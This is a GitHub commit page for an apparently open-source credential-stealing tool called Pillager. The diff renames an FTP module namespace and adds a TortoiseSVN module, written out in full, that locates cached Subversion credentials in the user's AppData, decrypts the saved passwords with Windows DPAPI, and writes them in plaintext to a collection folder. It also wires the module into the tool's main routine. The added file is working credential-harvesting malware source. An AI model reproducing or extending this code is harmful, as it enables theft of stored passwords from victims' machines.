Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
  • Loading branch information
qwqdanchun committed Feb 10, 2024
1 parent af6ca9f commit 033f4cf
Show file tree
Hide file tree
Showing 7 changed files with 72 additions and 9 deletions.
2 changes: 1 addition & 1 deletion Pillager/FTP/CoreFTP.cs → Pillager/FTPs/CoreFTP.cs
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@
using System.Security.Principal;
using System.Text;

namespace Pillager.FTP
namespace Pillager.FTPs
{
internal class CoreFTP
{
Expand Down
2 changes: 1 addition & 1 deletion Pillager/FTP/FileZilla.cs → Pillager/FTPs/FileZilla.cs
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
using System;
using System.IO;

namespace Pillager.FTP
namespace Pillager.FTPs
{
internal class FileZilla
{
Expand Down
2 changes: 1 addition & 1 deletion Pillager/FTP/Snowflake.cs → Pillager/FTPs/Snowflake.cs
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
using System.Security.Principal;
using System.Text;

namespace Pillager.FTP
namespace Pillager.FTPs
{
internal class Snowflake
{
Expand Down
2 changes: 1 addition & 1 deletion Pillager/FTP/WinSCP.cs → Pillager/FTPs/WinSCP.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
using System.Text;
using Microsoft.Win32;

namespace Pillager.FTP
namespace Pillager.FTPs
{
internal class WinSCP
{
Expand Down
9 changes: 5 additions & 4 deletions Pillager/Pillager.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -45,10 +45,10 @@
<Compile Include="Browsers\FireFox.cs" />
<Compile Include="Browsers\IE.cs" />
<Compile Include="Browsers\OldSogou.cs" />
<Compile Include="FTP\CoreFTP.cs" />
<Compile Include="FTP\FileZilla.cs" />
<Compile Include="FTP\Snowflake.cs" />
<Compile Include="FTP\WinSCP.cs" />
<Compile Include="FTPs\CoreFTP.cs" />
<Compile Include="FTPs\FileZilla.cs" />
<Compile Include="FTPs\Snowflake.cs" />
<Compile Include="FTPs\WinSCP.cs" />
<Compile Include="Helper\AesGcm.cs" />
<Compile Include="Helper\Asn1Der.cs" />
<Compile Include="Browsers\Chrome.cs" />
Expand Down Expand Up @@ -89,6 +89,7 @@
<Compile Include="Tools\RDCMan.cs" />
<Compile Include="Tools\SQLyog.cs" />
<Compile Include="Softwares\VSCode.cs" />
<Compile Include="Tools\TortoiseSVN.cs" />
<Compile Include="Tools\Xmanager.cs" />
</ItemGroup>
<ItemGroup>
Expand Down
3 changes: 2 additions & 1 deletion Pillager/Program.cs
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
using System.IO;
using Pillager.Browsers;
using Pillager.FTP;
using Pillager.FTPs;
using Pillager.Helper;
using Pillager.Mails;
using Pillager.Messengers;
Expand Down Expand Up @@ -44,6 +44,7 @@ static void Main(string[] args)
FinalShell.Save(savepath);
SQLyog.Save(savepath);
DBeaver.Save(savepath);
TortoiseSVN.Save(savepath);

//Softwares
VSCode.Save(savepath);
Expand Down
61 changes: 61 additions & 0 deletions Pillager/Tools/TortoiseSVN.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace Pillager.Tools
{
internal class TortoiseSVN
{
public static string ToolName = "TortoiseSVN";

public static string Decrypt(string input)
{
try
{
return Encoding.UTF8.GetString(ProtectedData.Unprotect(Convert.FromBase64String(input), null,
DataProtectionScope.CurrentUser));
}
catch
{
return input;
}
}

public static void Save(string path)
{
try
{
string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Subversion\\auth\\svn.simple");
if (!Directory.Exists(folder)) return;
string[] files = Directory.GetFiles(folder, new String('?', 32));
if (files.Length == 0) return;
string savepath = Path.Combine(path, ToolName);
Directory.CreateDirectory(savepath);
foreach (string file in files)
{
string[] lines = File.ReadAllLines(file);
bool encrypted = false;
for (int i = 0; i < lines.Length; i++)
{
if (lines[i] == "passtype" && i > 1 && lines[i - 1].StartsWith("K ") && i + 2 < lines.Length && lines[i + 2] == "wincrypt")
{
encrypted = true;
}
}
for (int i = 0; i < lines.Length; i++)
{
if (lines[i] == "password" && i > 1 && lines[i - 1].StartsWith("K ") && i + 2 < lines.Length && encrypted)
{
lines[i + 2] = Decrypt(lines[i + 2]);
}
}
File.WriteAllLines(Path.Combine(savepath, "svn.simple.decrypted"), lines);
}
}
catch { }
}
}
}

0 comments on commit 033f4cf

Please sign in to comment.